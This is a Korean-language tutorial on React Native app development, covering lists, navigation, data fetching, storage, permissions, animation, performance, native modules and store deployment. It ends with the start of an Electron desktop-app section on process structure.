Tailwind 문법이 편하다면 NativeWind 를 검토하세요. className="flex-1 p-4 bg-white" 처럼 쓸 수 있고, 웹과 스타일 규칙을 공유할 수 있습니다. 다만 빌드 설정이 추가되므로 팀이 익숙한 쪽을 고르세요.
RN 의 배치는 '모든 View 가 세로 Flex' 에서 출발합니다 웹 CSS display 기본값이 block · inline 등 여러 가지 flex-direction 기본값은 row (가로) px · rem · % · vh … 단위가 많습니다 React Native 모든 View 가 이미 flex 컨테이너입니다 flex-direction 기본값은 column (세로) 숫자는 전부 밀도 독립 픽셀 하나뿐입니다 가로로 놓고 싶다면 방향을 바꿉니다 기본 (column) flexDirection: 'row' 지원되지 않는 것들 margin 축약 · float · z-index 일부 그림자는 iOS·안드로이드가 서로 다릅니다
웹 CSS 습관에서 오는 혼란의 대부분이 이 기본값 차이입니다.
같은 속성, 다른 출발점 — 진한 칸이 웹과 다른 기본값입니다 속성 웹 CSS React Native display block · inline 등 flex — 모든 View flexDirection row (가로) column (세로) flexShrink 1 — 넘치면 줄어듦 0 — 안 줄어듦 alignContent normal flex-start position static relative 크기 단위 px · rem · % · vh … 숫자(dp) · % 뿐 flexGrow 0 0 — 같음 가로로 놓고 싶다면 flexDirection: 'row' 한 줄이면 됩니다 margin: '0 auto' 축약 · float 는 없고, 그림자는 iOS · 안드로이드가 다릅니다
웹 CSS 습관에서 오는 혼란의 대부분이 이 기본값 차이입니다.
RN 06

리스트 — FlatList

앱 성능 문제의 절반이 여기서 나옵니다.

ScrollView 를 쓰면 안 되는 이유

ScrollView  — 자식을 "전부" 렌더링하고 메모리에 유지
FlatList    — 화면에 보이는 것 + 약간의 여유분만 (가상화)

항목 1,000개일 때
  ScrollView  → 1,000개 컴포넌트 생성 → 수 초간 멈춤 → 메모리 폭발
  FlatList    → 약 15개만 → 즉시 렌더링

기준: 항목이 20개를 넘거나 개수를 모르면 → FlatList
<FlatList
  data={orders}
  keyExtractor={(item) => item.id}            // ★ 안정적인 고유 키
  renderItem={({ item }) => <OrderRow order={item} />}

  // 성능 옵션
  initialNumToRender={10}
  maxToRenderPerBatch={10}
  windowSize={5}                               // 화면 단위 (기본 21)
  removeClippedSubviews                        // 안드로이드에서 효과 큼

  // 높이가 고정이면 ★ 이게 가장 큰 최적화입니다
  getItemLayout={(_, index) => ({
    length: ROW_HEIGHT, offset: ROW_HEIGHT * index, index,
  })}

  // 무한 스크롤
  onEndReached={fetchNextPage}
  onEndReachedThreshold={0.5}
  ListFooterComponent={isFetching ? <ActivityIndicator /> : null}

  // 당겨서 새로고침
  refreshControl={<RefreshControl refreshing={isRefetching} onRefresh={refetch} />}

  // 빈 상태 · 구분선
  ListEmptyComponent={<Empty message="주문이 없습니다" />}
  ItemSeparatorComponent={() => <View style={styles.sep} />}
/>

항목 컴포넌트 최적화

// ★ memo 로 감싸야 스크롤 시 재렌더가 줄어듭니다
const OrderRow = memo(function OrderRow({ order }: { order: Order }) {
  return (
    <View style={styles.row}>
      <Text>{order.title}</Text>
    </View>
  );
});

// ❌ 인라인 함수 — 매 렌더마다 새 함수 → memo 가 무의미해짐
<FlatList renderItem={({ item }) => <Row onPress={() => go(item.id)} />} />

// ✅ 밖으로 빼고 useCallback
const renderItem = useCallback(
  ({ item }: { item: Order }) => <OrderRow order={item} onPress={onPress} />,
  [onPress],
);
FlashList 를 쓰면 더 빠릅니다. Shopify 가 만든 대체 컴포넌트로, API 가 거의 같습니다. v2(New Architecture 전용)부터는 예전에 필수였던 estimatedItemSize 도 필요 없습니다. 항목이 수천 개거나 복잡한 카드라면 체감 차이가 큽니다.
import { FlashList } from "@shopify/flash-list";

<FlashList
  data={orders}
  renderItem={({ item }) => <OrderRow order={item} />}
/>
키를 인덱스로 쓰지 마세요. keyExtractor={(_, i) => String(i)} 는 목록이 정렬·삭제될 때 엉뚱한 항목이 재사용되어 입력값이 뒤섞이는 버그를 만듭니다.
목록이 길어질 때 실제로 만들어지는 뷰 수 — 화면에 없는 것까지 만들 필요는 없습니다 0 500 1000 만들어진 뷰 수 0 250 500 750 1000 목록 길이 (항목 수) ScrollView — n 개 전부 만듦 FlatList — 약 210 개에서 멈춤 화면당 10개 · 위아래 10화면씩 (windowSize 21) 항목 높이가 같다면 getItemLayout 을 주세요 — 스크롤이 튀지 않습니다 keyExtractor 를 index 로 주면 순서가 바뀔 때 엉킵니다 — 고유 id 를 쓰세요
리스트 성능 문제의 대부분은 알고리즘이 아니라 안 보이는 것을 만들고 있는 것입니다.
RN 07

내비게이션

화면 이동. Expo Router(파일 기반)와 React Navigation(코드 기반) 중 선택합니다.

Expo Router — 파일이 곧 경로

// app/_layout.tsx — 루트 스택
import { Stack } from "expo-router";

export default function RootLayout() {
  return (
    <Stack screenOptions={{ headerShown: true }}>
      <Stack.Screen name="(tabs)" options={{ headerShown: false }} />
      <Stack.Screen name="orders/[id]" options={{ title: "주문 상세" }} />
      <Stack.Screen name="login" options={{ presentation: "modal" }} />
    </Stack>
  );
}

// app/(tabs)/_layout.tsx — 탭
import { Tabs } from "expo-router";
<Tabs>
  <Tabs.Screen name="home" options={{ title: "홈",
    tabBarIcon: ({ color }) => <Icon name="home" color={color} /> }} />
  <Tabs.Screen name="profile" options={{ title: "내 정보" }} />
</Tabs>
// 이동하기
import { router, useLocalSearchParams, Link } from "expo-router";

router.push("/orders/123");
router.replace("/login");            // 뒤로가기 스택에서 교체
router.back();

<Link href="/orders/123" asChild><Pressable>...</Pressable></Link>

// 파라미터 받기 — app/orders/[id].tsx
const { id } = useLocalSearchParams<{ id: string }>();

인증 흐름 — 실무 패턴

// app/_layout.tsx
export default function RootLayout() {
  const { user, isLoading } = useAuth();
  const segments = useSegments();
  const router = useRouter();

  useEffect(() => {
    if (isLoading) return;
    const inAuthGroup = segments[0] === "(auth)";

    if (!user && !inAuthGroup) router.replace("/(auth)/login");
    else if (user && inAuthGroup) router.replace("/(tabs)/home");
  }, [user, segments, isLoading]);

  if (isLoading) return <SplashScreen />;      // ★ 깜빡임 방지
  return <Stack />;
}

딥링크 · 뒤로가기

// app.json 의 scheme 으로 myapp://orders/123 이 동작합니다
// 웹 링크(Universal Link)는 별도 설정 필요

// 안드로이드 하드웨어 뒤로가기 제어
useEffect(() => {
  const sub = BackHandler.addEventListener("hardwareBackPress", () => {
    if (hasUnsavedChanges) { confirmExit(); return true; }  // 기본 동작 막기
    return false;
  });
  return () => sub.remove();
}, [hasUnsavedChanges]);
화면 전환이 버벅인다면 — 새 화면이 렌더링되는 동안 애니메이션이 돌기 때문입니다. 무거운 데이터 조회는 InteractionManager.runAfterInteractions 로 전환이 끝난 뒤에 시작하거나, 스켈레톤 UI 를 먼저 보여 주세요.
RN 08

네트워크 · TanStack Query

서버 데이터를 useState 로 관리하는 코드를 전부 지울 수 있습니다.

직접 관리하면 이렇게 됩니다

수동 — 챙길 게 너무 많음
const [data, setData] = useState();
const [loading, setLoading] =
  useState(false);
const [error, setError] = useState();

useEffect(() => {
  let cancelled = false;
  setLoading(true);
  fetchOrders()
    .then(d => !cancelled && setData(d))
    .catch(e => !cancelled && setError(e))
    .finally(() => setLoading(false));
  return () => { cancelled = true; };
}, []);
// 캐시·재시도·중복요청·
// 화면 복귀 갱신은? 전부 직접
TanStack Query
const { data, isLoading, error }
  = useQuery({
    queryKey: ["orders"],
    queryFn: fetchOrders,
  });
// 캐시 · 중복 제거 · 재시도 ·
// 백그라운드 갱신 · 취소
// 전부 포함 ★
npm i @tanstack/react-query
const client = new QueryClient({
  defaultOptions: {
    queries: {
      staleTime: 60_000,          // 1분간은 캐시를 신선하다고 봄
      gcTime: 5 * 60_000,
      retry: 2,
      refetchOnWindowFocus: false, // RN 에서는 AppState 로 대체
    },
  },
});

<QueryClientProvider client={client}><App /></QueryClientProvider>

실무 사용

// 무한 스크롤
const { data, fetchNextPage, hasNextPage } = useInfiniteQuery({
  queryKey: ["orders", filter],
  queryFn: ({ pageParam }) => api.getOrders({ cursor: pageParam, ...filter }),
  initialPageParam: null,
  getNextPageParam: (last) => last.nextCursor ?? undefined,
});
const items = data?.pages.flatMap(p => p.items) ?? [];

// 변경 + 낙관적 업데이트 (즉시 반영 후 실패 시 되돌리기)
const { mutate } = useMutation({
  mutationFn: api.toggleLike,
  onMutate: async (id) => {
    await qc.cancelQueries({ queryKey: ["orders"] });
    const prev = qc.getQueryData(["orders"]);
    qc.setQueryData(["orders"], (old) => toggle(old, id));   // ★ 즉시 반영
    return { prev };
  },
  onError: (_e, _v, ctx) => qc.setQueryData(["orders"], ctx.prev),  // 롤백
  onSettled: () => qc.invalidateQueries({ queryKey: ["orders"] }),
});
// 모바일 특화 — 네트워크·앱 상태 연동
import { onlineManager, focusManager } from "@tanstack/react-query";
import NetInfo from "@react-native-community/netinfo";

onlineManager.setEventListener((setOnline) =>
  NetInfo.addEventListener((state) => setOnline(!!state.isConnected)));

AppState.addEventListener("change", (s) =>
  focusManager.setFocused(s === "active"));    // ★ 앱 복귀 시 자동 갱신
모바일은 네트워크가 불안정합니다. ① 타임아웃을 반드시 주고(AbortSignal.timeout), ② 오프라인 상태를 화면에 표시하고, ③ 실패해도 캐시된 데이터를 계속 보여 주세요. “로딩 스피너만 무한히 도는 화면”이 가장 나쁜 경험입니다.
RN 09

로컬 저장소

저장할 것의 성격에 따라 도구가 다릅니다.

무엇을 어디에

저장소용도
AsyncStorage간단한 설정·플래그. 비동기, 문자열만
MMKV같은 용도인데 훨씬 빠르고 동기. 요즘 선호
SecureStore
(Keychain/Keystore)
★ 토큰·비밀번호. 암호화되어 저장
SQLite (expo-sqlite)구조화된 대량 데이터·오프라인 우선 앱
FileSystem이미지·다운로드 파일
// MMKV — 동기라 코드가 단순해집니다
import { MMKV } from "react-native-mmkv";
export const storage = new MMKV({ id: "app", encryptionKey: "..." });

storage.set("theme", "dark");
storage.getString("theme");            // 동기 ★
storage.set("onboarded", true);
storage.getBoolean("onboarded");
storage.delete("theme");

// 토큰은 반드시 SecureStore
import * as SecureStore from "expo-secure-store";
await SecureStore.setItemAsync("refreshToken", token);
const token = await SecureStore.getItemAsync("refreshToken");
await SecureStore.deleteItemAsync("refreshToken");
토큰을 AsyncStorage 에 저장하지 마세요. 루팅·탈옥된 기기에서 평문으로 읽힙니다. 액세스 토큰은 메모리에만, 리프레시 토큰은 SecureStore 가 원칙입니다.

오프라인 지원

// TanStack Query 캐시를 디스크에 저장 → 오프라인에서도 마지막 데이터 표시
import { persistQueryClient } from "@tanstack/react-query-persist-client";
import { createSyncStoragePersister } from "@tanstack/query-sync-storage-persister";

persistQueryClient({
  queryClient,
  persister: createSyncStoragePersister({
    storage: {
      getItem: (k) => storage.getString(k) ?? null,
      setItem: (k, v) => storage.set(k, v),
      removeItem: (k) => storage.delete(k),
    },
  }),
  maxAge: 24 * 60 * 60 * 1000,
});
// 오프라인에서 한 작업을 나중에 전송 (큐)
type PendingAction = { id: string; type: string; payload: unknown };

async function enqueue(action: PendingAction) {
  const q = JSON.parse(storage.getString("queue") ?? "[]");
  storage.set("queue", JSON.stringify([...q, action]));
}

// 온라인이 되면 순서대로 전송 — ★ 서버가 멱등해야 안전합니다
NetInfo.addEventListener(async (s) => {
  if (!s.isConnected) return;
  const q: PendingAction[] = JSON.parse(storage.getString("queue") ?? "[]");
  for (const a of q) await api.send(a);      // 실패하면 남겨 두기
  storage.set("queue", "[]");
});
앱을 지워도 남는 것이 있습니다. iOS 의 Keychain 값은 앱 삭제 후에도 유지될 수 있습니다. “재설치했는데 이전 계정으로 로그인된다”는 문의의 원인입니다. 첫 실행 플래그를 AsyncStorage 에 두고 처음이면 Keychain 을 비우는 처리가 필요합니다.
RN 10

네이티브 기능 · 권한

카메라·위치·알림. 권한 거부 상황을 반드시 설계하세요.

권한 요청 패턴

import * as ImagePicker from "expo-image-picker";

async function pickImage() {
  const { status, canAskAgain } =
    await ImagePicker.requestMediaLibraryPermissionsAsync();

  if (status !== "granted") {
    if (!canAskAgain) {
      // ★ "다시 묻지 않음"을 누른 상태 — 설정 앱으로 보내야 합니다
      Alert.alert("사진 권한 필요",
        "설정에서 사진 접근을 허용해 주세요",
        [{ text: "취소" },
         { text: "설정 열기", onPress: () => Linking.openSettings() }]);
    }
    return;
  }

  const result = await ImagePicker.launchImageLibraryAsync({
    mediaTypes: ["images"],
    quality: 0.7,                      // ★ 원본은 너무 큽니다
    allowsEditing: true,
  });
  if (!result.canceled) setImage(result.assets[0].uri);
}
권한 요청은 “필요한 순간”에 하세요. 앱 시작하자마자 위치·알림·연락처를 한꺼번에 요청하면 대부분 거부하고, 한 번 거부하면 다시 묻기 어렵습니다. 왜 필요한지 먼저 설명하는 화면을 보여 준 뒤 요청하는 것이 승인율이 훨씬 높습니다.
// app.json — 권한 설명 문구 (iOS 는 없으면 심사 반려)
{
  "ios": {
    "infoPlist": {
      "NSCameraUsageDescription": "프로필 사진 촬영에 사용합니다",
      "NSPhotoLibraryUsageDescription": "사진 첨부에 사용합니다",
      "NSLocationWhenInUseUsageDescription": "주변 매장을 찾는 데 사용합니다"
    }
  },
  "android": {
    "permissions": ["CAMERA", "ACCESS_FINE_LOCATION"]
  }
}

푸시 알림

import * as Notifications from "expo-notifications";

// ① 권한 + 토큰 발급
const { status } = await Notifications.requestPermissionsAsync();
if (status !== "granted") return;

const token = (await Notifications.getExpoPushTokenAsync({
  projectId: Constants.expoConfig?.extra?.eas?.projectId,
})).data;
await api.registerPushToken(token);          // ★ 서버에 저장

// ② 안드로이드는 채널이 필요합니다
if (Platform.OS === "android") {
  await Notifications.setNotificationChannelAsync("default", {
    name: "기본", importance: Notifications.AndroidImportance.HIGH,
  });
}

// ③ 수신 처리
Notifications.setNotificationHandler({
  handleNotification: async () => ({
    shouldShowBanner: true, shouldPlaySound: true, shouldSetBadge: true,
  }),
});

// ④ 알림 탭 → 해당 화면으로 (딥링크)
Notifications.addNotificationResponseReceivedListener((res) => {
  const { orderId } = res.notification.request.content.data;
  if (orderId) router.push(`/orders/${orderId}`);
});

자주 쓰는 네이티브 모듈

기능패키지
카메라·갤러리expo-image-picker · expo-camera
위치expo-location
생체 인증expo-local-authentication
파일 · 공유expo-file-system · expo-sharing
웹뷰react-native-webview
지도react-native-maps
인앱 결제react-native-iap · RevenueCat
패키지를 고를 때 — 최근 6개월 내 업데이트, 새 아키텍처(Fabric) 지원 여부, 이슈 응답 속도를 보세요. RN 은 버전 업이 잦아 방치된 패키지가 빌드를 통째로 막습니다.
RN 11

애니메이션 · 제스처

60fps 의 비결은 하나입니다 — JS 스레드를 거치지 않는 것.

왜 Reanimated 인가

[내장 Animated]  JS 스레드에서 값 계산 → 네이티브로 전달
   → JS 가 바쁘면 애니메이션이 끊깁니다
   → useNativeDriver: true 로 일부만 개선 가능
      (transform·opacity 만 지원, width·색상 불가)

[Reanimated]  worklet 이 UI 스레드에서 직접 실행
   → JS 스레드가 아무리 바빠도 60fps 유지 ★
   → 모든 속성 애니메이션 가능
npx expo install react-native-reanimated react-native-gesture-handler
import Animated, {
  useSharedValue, useAnimatedStyle, withSpring, withTiming,
} from "react-native-reanimated";

function Box() {
  const offset = useSharedValue(0);        // ★ UI 스레드에 사는 값

  const style = useAnimatedStyle(() => ({
    transform: [{ translateX: offset.value }],
  }));                                      // ★ 이 함수는 UI 스레드에서 실행됩니다

  return (
    <>
      <Animated.View style={[styles.box, style]} />
      <Button title="이동" onPress={() => {
        offset.value = withSpring(100, { damping: 15 });
      }} />
    </>
  );
}

제스처 — 스와이프 삭제

import { Gesture, GestureDetector } from "react-native-gesture-handler";
import { runOnJS } from "react-native-reanimated";

function SwipeRow({ onDelete }: { onDelete: () => void }) {
  const x = useSharedValue(0);

  const pan = Gesture.Pan()
    .onUpdate((e) => { x.value = Math.min(0, e.translationX); })
    .onEnd(() => {
      if (x.value < -120) {
        x.value = withTiming(-400);
        runOnJS(onDelete)();          // ★ UI 스레드 → JS 함수 호출
      } else {
        x.value = withSpring(0);
      }
    });

  const style = useAnimatedStyle(() => ({ transform: [{ translateX: x.value }] }));

  return (
    <GestureDetector gesture={pan}>
      <Animated.View style={style}>{/* 내용 */}</Animated.View>
    </GestureDetector>
  );
}
worklet 안에서 일반 JS 함수를 직접 부르면 크래시합니다. setState·console.log·API 호출은 모두 runOnJS(fn)() 로 감싸야 합니다. 반대로 JS 쪽에서 UI 스레드의 worklet 을 실행하려면 runOnUI(fn)() 를 쓰고, shared value 값 자체는 JS 에서 .value 로 바로 읽습니다.

레이아웃 애니메이션 — 가장 쉬운 방법

import Animated, {
  FadeIn, FadeOut, LinearTransition,
} from "react-native-reanimated";
// ★ 예전 이름이던 Layout 은 폐기됐습니다 → LinearTransition 을 쓰세요

// 나타나고 사라질 때 자동으로 애니메이션
<Animated.View entering={FadeIn.duration(200)} exiting={FadeOut}
               layout={LinearTransition.springify()}>
  <Text>{item.title}</Text>
</Animated.View>
// ★ 코드 한 줄로 목록 추가·삭제 애니메이션이 붙습니다

// 리스트 항목이 자리를 옮길 때(정렬·필터·삭제)도 한 줄이면 됩니다
<Animated.FlatList
  data={items}
  keyExtractor={(it) => it.id}
  itemLayoutAnimation={LinearTransition}
  renderItem={({ item }) => <Row item={item} />}
/>
애니메이션은 200~300ms 가 적당합니다. 길면 답답하고, 100ms 미만이면 인지되지 않습니다. 접근성 설정(모션 줄이기)을 켠 사용자를 위해 useReducedMotion() 으로 끄는 처리도 넣어 두세요.
JS 스레드가 50 ms 막힐 때 — 16.7 ms 마다 와야 할 프레임이 어떻게 되나 0 16.7 33.3 50 66.7 83.3 100 ms JS 스레드 응답 JSON 파싱 — 50 ms JS 가 매 프레임 계산 드라이버 없음 점선 세 장 누락 — 화면이 50 ms 동안 뚝 멈춤 UI 스레드가 계산 useNativeDriver 정의를 한 번 넘겼으니 JS 가 막혀도 일곱 장 그대로 쓸 수 있는 속성이 정해져 있습니다 — transform · opacity 는 되고 width · height 는 안 됩니다 레이아웃을 바꾸고 싶다면 scale 로 대신하거나 Reanimated 레이아웃 애니메이션을 쓰세요
부드러움의 차이는 코드 양이 아니라 계산이 어느 스레드에서 도는가에서 갈립니다.
RN 12

성능 최적화

“앱이 버벅인다”의 원인은 거의 정해져 있습니다.

원인 대조표

증상원인
스크롤이 끊김ScrollView 사용 · memo 없음 · 큰 이미지 (r06)
화면 전환이 느림전환 중 무거운 렌더 · 데이터 조회 (r07)
입력이 한 박자 늦음매 글자마다 리렌더 · 무거운 검증
앱 시작이 느림번들 크기 · 초기 로딩 작업 과다
메모리 증가리스너·타이머 미정리 · 이미지 캐시
// ① 리렌더 줄이기
const Row = memo(RowComponent);                        // 자식 메모
const handler = useCallback(() => {}, []);             // 함수 고정
const value = useMemo(() => compute(data), [data]);    // 계산 캐시

// ② 입력은 로컬 상태로 두고, 무거운 갱신은 뒤로 미룹니다
const [text, setText] = useState("");
const deferredText = useDeferredValue(text);
//  ★ 디바운스가 아닙니다 — "정해진 시간만큼 기다렸다 한 번"이 아니라
//    입력 렌더를 먼저 처리하고 이 값을 쓰는 렌더를 "낮은 우선순위"로 돌립니다.
//    입력이 계속되면 뒤 렌더는 중단(재시작)되고, 한가해지면 따라잡습니다.
useEffect(() => { search(deferredText); }, [deferredText]);

// ③ 이미지 — expo-image 로 (캐시·placeholder 내장)
import { Image } from "expo-image";
<Image source={{ uri }} style={{ width: 100, height: 100 }}
       contentFit="cover" transition={200}
       cachePolicy="memory-disk" />

// ④ 무거운 계산은 전환 이후로
InteractionManager.runAfterInteractions(() => heavyWork());

측정하기

# 개발 메뉴 (실기기 흔들기 · 시뮬레이터 Cmd+D)
Perf Monitor          # JS·UI 스레드 FPS 확인 ★
                      # UI FPS 는 높은데 JS FPS 가 낮다 → JS 스레드가 원인

# React DevTools Profiler — 어느 컴포넌트가 자주 렌더되는지
npx react-devtools

# 번들 크기 분석
npx expo export && npx source-map-explorer dist/**/*.js

# Hermes 프로파일러 (실제 함수별 시간)
# 개발 메뉴 → Enable Sampling Profiler
반드시 릴리스 빌드로 측정하세요. 개발 모드는 Fast Refresh·경고 검사·소스맵 때문에 훨씬 느립니다. “개발에서 느리다”는 것만으로 최적화를 시작하면 헛수고가 됩니다.

시작 속도 개선

  • Hermes 사용 확인 (기본값이지만 확인해 두세요)
  • 초기 화면에 필요 없는 모듈은 지연 import
  • 스플래시 화면을 준비될 때까지 유지 (SplashScreen.preventAutoHideAsync)
  • 큰 JSON·폰트는 필요할 때 로딩
  • 앱 시작 시 API 를 여러 개 동시에(Promise.all) — 순차 호출 금지
저사양 기기에서 테스트하세요. 최신 아이폰에서는 모든 게 잘 돕니다. 실제 사용자 상당수는 3~4년 된 안드로이드를 씁니다. 거기서 60fps가 나와야 진짜입니다.
SDK 57 로 올린 뒤 메모리가 갑자기 늘었다면 Reanimated 부터 의심하세요. SDK 57 에서 react-native-reanimated 를 import 하기만 해도 메모리가 25~30% 늘어나는 회귀가 보고됐습니다 (Hermes 쪽 변경이 원인). 애니메이션을 쓰지 않아도 발생합니다. 저사양 기기에서 강제 종료가 늘었다면 ① 해당 화면에서 실제로 Reanimated 가 필요한지, ② 패치 버전으로 올려 해결됐는지를 먼저 확인하세요.
느려지는 자리는 대개 셋 중 하나입니다 ① 목록 ScrollView 에 1000개를 넣으면 전부 한 번에 만들어집니다 → FlatList · FlashList 로 ② 불필요한 리렌더 renderItem 에 인라인 함수를 주면 매번 새 함수 → 전부 다시 그림 → useCallback · memo · keyExtractor ③ 무거운 계산 정렬·필터를 렌더마다 수행 스크롤이 끊깁니다 → useMemo · 서버에서 미리 애니메이션은 UI 쪽에서 돌리세요 Reanimated 의 worklet 은 JS 가 바빠도 60fps 를 유지합니다 이미지도 흔한 원인입니다 원본 2000px 을 썸네일로 쓰지 마세요 — 메모리와 디코딩 비용 순서는 언제나 측정 먼저 — 개발 빌드는 원래 느립니다. 릴리즈 빌드에서 실기기로 재고 나서 손대세요
체감 성능의 8할은 목록과 리렌더에서 결정됩니다.
느릴 때 어디부터 볼까 — 위에서부터 차례로 묻습니다 릴리즈 빌드 · 실기기로 재 보았나? 아니오 측정 먼저 개발 빌드는 원래 느립니다 예 긴 목록을 ScrollView 로 그리나? 예 FlatList · FlashList 보이는 근처만 만듭니다 아니오 스크롤 때 항목이 전부 다시 그려지나? 예 memo · useCallback renderItem 을 고정합니다 아니오 무거운 계산 · 이미지 useMemo · 썸네일 · worklet 체감 성능의 8할 — 목록과 리렌더 모든 갈래가 처방에서 끝납니다 — 재지 않고 고치면 엉뚱한 곳을 손보게 됩니다
체감 성능의 8할은 목록과 리렌더에서 결정됩니다.
RN 13

네이티브 모듈 만들기

라이브러리에 없는 기능은 직접 다리를 놓습니다. 전문가 영역입니다.

언제 필요한가

  • 사내 SDK(결제·인증·보안 솔루션)를 연동해야 할 때
  • 기존 네이티브 앱의 일부만 RN 으로 교체할 때
  • 블루투스·NFC·특수 하드웨어처럼 패키지가 없는 기능
  • 성능 때문에 C++ 로 처리해야 할 때
# Expo 모듈로 만들기 (가장 편합니다)
npx create-expo-module my-native-module

# 로컬 모듈 (앱 안에서만 쓸 때)
npx create-expo-module --local my-module
// android/src/main/java/.../MyModule.kt
class MyModule : Module() {
  override fun definition() = ModuleDefinition {
    Name("MyModule")

    Function("getDeviceName") {
      return@Function Build.MODEL          // 동기 함수
    }

    AsyncFunction("readSensor") { promise: Promise ->
      // 오래 걸리는 작업
      promise.resolve(mapOf("value" to 42))
    }

    Events("onSensorChange")               // 이벤트 발행
  }
}

Swift 쪽과 JS 쪽

// ios/MyModule.swift
public class MyModule: Module {
  public func definition() -> ModuleDefinition {
    Name("MyModule")

    Function("getDeviceName") { () -> String in
      UIDevice.current.model
    }

    AsyncFunction("readSensor") { () -> [String: Any] in
      ["value": 42]
    }
  }
}
// src/index.ts — JS 쪽 타입 정의
import { requireNativeModule } from "expo-modules-core";

declare class MyModuleType {
  getDeviceName(): string;
  readSensor(): Promise<{ value: number }>;
}

export default requireNativeModule<MyModuleType>("MyModule");

// 사용
import MyModule from "my-native-module";
const name = MyModule.getDeviceName();
const { value } = await MyModule.readSensor();
네이티브 모듈을 추가하면 Expo Go 로는 실행할 수 없습니다. 개발 빌드(npx expo run:ios / eas build --profile development)를 만들어야 합니다. 이 시점부터 맥·Xcode·Android Studio 가 필요해지므로 팀 전체의 개발 환경 비용이 올라갑니다 — 도입 전에 고려하세요.
RN 14

빌드 · 스토어 배포

코드보다 이 과정에서 시간을 더 씁니다. 미리 알아 두면 크게 아낍니다.

EAS 빌드

// eas.json
{
  "build": {
    "development": {
      "developmentClient": true,
      "distribution": "internal"        // 팀 내부 배포
    },
    "preview": {
      "distribution": "internal",
      "android": { "buildType": "apk" }  // 설치 파일로 바로 공유
    },
    "production": {
      "autoIncrement": true,             // ★ 빌드 번호 자동 증가
      "env": { "API_URL": "https://api.example.com" }
    }
  },
  "submit": { "production": { ... } }
}
eas build --profile production --platform all
eas submit --platform ios              # App Store Connect 로 업로드
eas submit --platform android

# OTA 업데이트 — ★ JS 만 바뀌었다면 심사 없이 즉시 반영
eas update --branch production --message "버그 수정"
OTA 로 되는 것과 안 되는 것 — JS·이미지·스타일 변경은 OTA 로 즉시 가능합니다. 네이티브 모듈 추가·권한 변경·SDK 업그레이드는 반드시 새 빌드와 심사가 필요합니다. (스토어 정책상 기능을 통째로 바꾸는 OTA 는 금지입니다)

심사에서 자주 반려되는 이유

  • 권한 설명 문구 누락·불충분 — “왜 필요한지” 구체적으로 (r10)
  • 테스트 계정 미제공 — 로그인이 필요한 앱은 심사자용 계정 필수
  • 결제 우회 — 디지털 재화를 외부 결제로 유도하면 즉시 반려
  • 계정 삭제 기능 없음 — 회원가입이 있으면 앱 내 삭제가 의무입니다
  • 크래시 — 심사자 기기에서 죽으면 바로 반려
  • 개인정보 처리방침 URL 누락
  • 미완성 기능·플레이스홀더 화면

출시 체크리스트

☐ 릴리스 빌드에서 전체 흐름 테스트
☐ 크래시 리포팅 연동 (Sentry)
☐ 저사양 안드로이드에서 확인
☐ 다크 모드 · 큰 글씨 설정에서 깨지지 않는지
☐ 오프라인·느린 네트워크에서 동작
☐ 딥링크 · 푸시 알림 동작
☐ 앱 아이콘 · 스플래시 · 스크린샷 준비
☐ 버전·빌드 번호 증가
☐ API 주소가 운영으로 되어 있는지 ★
☐ 콘솔 로그·디버그 코드 제거
크래시 리포팅은 출시 전에 반드시 붙이세요. 모바일은 사용자가 알려 주지 않으면 문제를 알 수 없습니다. Sentry 를 연동하고 소스맵을 업로드해야 난독화된 스택이 아니라 원본 코드 줄 번호로 볼 수 있습니다.
내보내는 길은 두 갈래 — 무엇이 바뀌었느냐로 갈립니다 무엇을 고쳤나? 네이티브가 바뀜 → 새 빌드 라이브러리 추가 · 권한 · 아이콘 · SDK 버전 EAS Build 로 빌드 → 스토어 업로드 심사 대기 — 보통 하루 안팎 사용자가 앱을 업데이트해야 적용됩니다 JS 만 바뀜 → 무선 업데이트 화면 · 로직 · 문구 · 이미지 수정 번들만 올리면 다음 실행 때 반영됩니다 심사 없음 — 급한 버그를 당일에 막습니다 채널을 나눠 일부에게만 먼저 보낼 수 있습니다 무선 업데이트로 앱의 성격 자체를 바꾸면 스토어 규정 위반입니다 되돌릴 수 있게 이전 번들을 남겨 두세요 — 되돌리기 한 번이 밤샘 하나를 줄입니다
배포 계획의 핵심은 심사를 기다려야 하는 변경과 아닌 변경을 구분하는 것입니다.
ELECTRON 42 · 데스크탑 앱

웹 기술로
만드는
사내 도구

VS Code · Slack · Discord 가 전부 Electron 입니다. 웹 화면 + Node 의 파일·프로세스 권한을 합친 구조라, 사내 업무 도구를 만들 때 압도적으로 빠릅니다. 대신 보안 설정을 틀리면 사용자 PC 가 통째로 열립니다. 여기까지 마치면 보안 설정과 자동 업데이트를 갖춘 사내 배포용 데스크탑 앱을 완성할 수 있습니다.
C++·Rust 네이티브 확장, 음성 채팅, 화면 공유, OSR·GPU 같은 상용 앱 수준의 기술은 ⚙️ 네이티브 · 미디어 탭에서 이어집니다.

18SECTIONS
2프로세스 구조
3OS 동시 지원
IPC모든 통신의 통로
ELECTRON 01

메인 · 렌더러 구조

이 구분 하나만 이해하면 Electron 의 80%는 끝납니다.

두 개의 세계

Main
메인 프로세스 — Node.js 환경 앱당 하나. 창을 만들고, 파일·DB·OS 기능에 접근합니다. fs·child_process 를 쓸 수 있습니다.
▲ IPC ▼
Renderer
렌더러 프로세스 — 브라우저 환경 창마다 하나씩. React·Vue 로 화면을 그립니다. 기본적으로 Node 를 쓸 수 없습니다(그래야 안전합니다).
▲
Preload
프리로드 — 둘 사이의 다리 렌더러가 로드되기 전에 실행되며, 허용된 기능만 화면에 노출합니다.
규칙 하나 — 화면(렌더러)은 파일을 직접 읽을 수 없습니다. “메인에게 부탁 → 메인이 처리 → 결과를 돌려받기”가 모든 기능의 기본 흐름입니다(e03 IPC).

프로젝트 구조

my-app/
  src/
    main/                    ★ Node 환경
      index.ts               앱 시작 · 창 생성
      ipc/                   IPC 핸들러 (기능별로 분리)
        file.handler.ts
        db.handler.ts
      services/              실제 로직
      windows/               창 관리
    preload/
      index.ts               ★ contextBridge 로 API 노출
    renderer/                ★ 브라우저 환경 (React 등)
      App.tsx
      index.html
  electron-builder.yml       패키징 설정
  package.json
# 요즘 표준 템플릿 (Vite 기반 — HMR 이 됩니다)
npm create @quick-start/electron@latest
# 또는
npx create-electron-vite

# 옛 방식(electron-forge + webpack)보다 빌드가 훨씬 빠릅니다
